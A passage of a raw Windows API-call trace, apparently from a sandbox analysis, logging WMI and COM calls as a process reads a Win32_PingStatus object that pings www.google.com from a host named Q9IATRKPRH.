wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464810*=0, plFlavor=0x2464814*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464810*=8200, plFlavor=0x2464814*=32) returned 0x0 [0140.402] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TimestampRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464874*=0, plFlavor=0x2464878*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464874*=19, plFlavor=0x2464878*=0) returned 0x0 [0140.402] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24648e4*=0, plFlavor=0x24648e8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x24648e4*=19, plFlavor=0x24648e8*=0) returned 0x0 [0140.402] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TypeofService", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464a60*=0, plFlavor=0x2464a64*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464a60*=19, plFlavor=0x2464a64*=0) returned 0x0 [0140.402] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=0, plFlavor=0x59ee8c8*=0 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0140.402] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.402] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.403] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0140.403] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.403] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.403] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0140.403] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.403] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.403] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0140.403] SetEvent (hEvent=0x3f0) returned 1 [0140.403] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4e8, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0140.407] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0140.407] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0140.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da6d0) returned 0x0 [0140.407] WbemDefPath:IUnknown:AddRef (This=0x4da6d0) returned 0x3 [0140.407] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x2 [0140.407] WbemDefPath:IWbemPath:SetText (This=0x4da6d0, uMode=0x4, pszPath="") returned 0x0 [0140.407] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0140.407] SetEvent (hEvent=0x3f0) returned 1 [0140.407] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4ec, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0140.410] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0140.410] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0140.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da660) returned 0x0 [0140.410] WbemDefPath:IUnknown:AddRef (This=0x4da660) returned 0x3 [0140.410] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x2 [0140.410] WbemDefPath:IWbemPath:SetText (This=0x4da660, uMode=0x4, pszPath="") returned 0x0 [0140.410] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0140.410] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da6d0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0140.410] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da660, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0140.410] WbemDefPath:IWbemPath:GetServer (in: This=0x4da660, puNameBufLength=0x59ee89c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee89c*=0x0, pName=0x0) returned 0x80041009 [0140.410] WbemDefPath:IWbemPath:SetServer (This=0x4da660, Name="Q9IATRKPRH") returned 0x0 [0140.411] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0140.411] SetEvent (hEvent=0x3f0) returned 1 [0140.411] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4f0, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0140.414] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0140.414] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0140.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da5f0) returned 0x0 [0140.414] WbemDefPath:IUnknown:AddRef (This=0x4da5f0) returned 0x3 [0140.414] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x2 [0140.414] WbemDefPath:IWbemPath:SetText (This=0x4da5f0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da5f0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x2) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetText (in: This=0x4da5f0, lFlags=16, puBuffLength=0x59ee844*=0x0, pszText=0x0 | out: puBuffLength=0x59ee844*=0xb, pszText=0x0) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetText (in: This=0x4da5f0, lFlags=16, puBuffLength=0x59ee844*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee844*=0xb, pszText="root\\cimv2") returned 0x0 [0140.414] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4da660) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da5f0, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da5f0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x5, pName=0x0) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da5f0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x5, pName="0000" | out: puNameBufLength=0x59ee87c*=0x5, pName="root") returned 0x0 [0140.414] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da660, uIndex=0x0, pszName="root") returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da5f0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x6, pName=0x0) returned 0x0 [0140.414] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da5f0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x6, pName="00000" | out: puNameBufLength=0x59ee87c*=0x6, pName="cimv2") returned 0x0 [0140.414] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da660, uIndex=0x1, pszName="cimv2") returned 0x0 [0140.415] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da660, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0140.415] WbemDefPath:IWbemPath:SetClassName (This=0x4da660, Name="Win32_PingStatus") returned 0x0 [0140.415] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee8e4 | out: puCount=0x59ee8e4*=0x2) returned 0x0 [0140.415] WbemDefPath:IWbemPath:GetText (in: This=0x4da660, lFlags=4, puBuffLength=0x59ee8e0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8e0*=0x29, pszText=0x0) returned 0x0 [0140.415] WbemDefPath:IWbemPath:GetText (in: This=0x4da660, lFlags=4, puBuffLength=0x59ee8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59ee8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.419] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0140.420] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.420] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.420] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0140.424] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.424] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.424] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.424] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.424] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.424] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.424] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.424] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.424] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.424] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.424] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.425] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.425] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.425] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.425] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.425] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.425] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.425] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.425] SysStringByteLen (bstr="__PATH") returned 0xc [0140.425] SysStringByteLen (bstr="__PATH") returned 0xc [0140.425] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d2c0*=0, plFlavor=0x246d2c4*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x246d2c0*=3, plFlavor=0x246d2c4*=64) returned 0x0 [0140.425] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d2f4*=0, plFlavor=0x246d2f8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246d2f4*=8, plFlavor=0x246d2f8*=64) returned 0x0 [0140.425] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.426] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.426] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d34c*=0, plFlavor=0x246d350*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d34c*=8, plFlavor=0x246d350*=64) returned 0x0 [0140.426] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d374*=0, plFlavor=0x246d378*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246d374*=8, plFlavor=0x246d378*=64) returned 0x0 [0140.426] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.426] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.426] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d3cc*=0, plFlavor=0x246d3d0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246d3cc*=8, plFlavor=0x246d3d0*=64) returned 0x0 [0140.426] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.426] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.426] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d5a8*=0, plFlavor=0x246d5ac*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x246d5a8*=3, plFlavor=0x246d5ac*=64) returned 0x0 [0140.426] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d5dc*=0, plFlavor=0x246d5e0*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x246d5dc*=8200, plFlavor=0x246d5e0*=64) returned 0x0 [0140.427] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d610*=0, plFlavor=0x246d614*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x246d610*=8, plFlavor=0x246d614*=64) returned 0x0 [0140.427] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.427] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.427] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.427] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.427] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.427] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.427] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0140.427] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.427] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.428] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0140.428] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.428] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.428] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.428] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.428] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.428] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.428] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.428] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.428] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.428] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.428] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.428] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.428] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.428] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.428] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.428] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.428] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.428] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.428] SysStringByteLen (bstr="__PATH") returned 0xc [0140.429] SysStringByteLen (bstr="__PATH") returned 0xc [0140.429] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246d9f0*=0, plFlavor=0x246d9f4*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x246d9f0*=3, plFlavor=0x246d9f4*=64) returned 0x0 [0140.429] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246da24*=0, plFlavor=0x246da28*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246da24*=8, plFlavor=0x246da28*=64) returned 0x0 [0140.429] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.429] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.429] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246da7c*=0, plFlavor=0x246da80*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246da7c*=8, plFlavor=0x246da80*=64) returned 0x0 [0140.429] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246daa4*=0, plFlavor=0x246daa8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246daa4*=8, plFlavor=0x246daa8*=64) returned 0x0 [0140.429] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.429] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.430] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246dafc*=0, plFlavor=0x246db00*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246dafc*=8, plFlavor=0x246db00*=64) returned 0x0 [0140.430] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.430] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.430] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246dcd8*=0, plFlavor=0x246dcdc*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x246dcd8*=3, plFlavor=0x246dcdc*=64) returned 0x0 [0140.430] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246dd0c*=0, plFlavor=0x246dd10*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x246dd0c*=8200, plFlavor=0x246dd10*=64) returned 0x0 [0140.430] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246dd40*=0, plFlavor=0x246dd44*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x246dd40*=8, plFlavor=0x246dd44*=64) returned 0x0 [0140.430] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.430] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.431] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246dd40*=8, plFlavor=0x246dd44*=64 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x246dd40*=8, plFlavor=0x246dd44*=64) returned 0x0 [0140.431] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.431] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 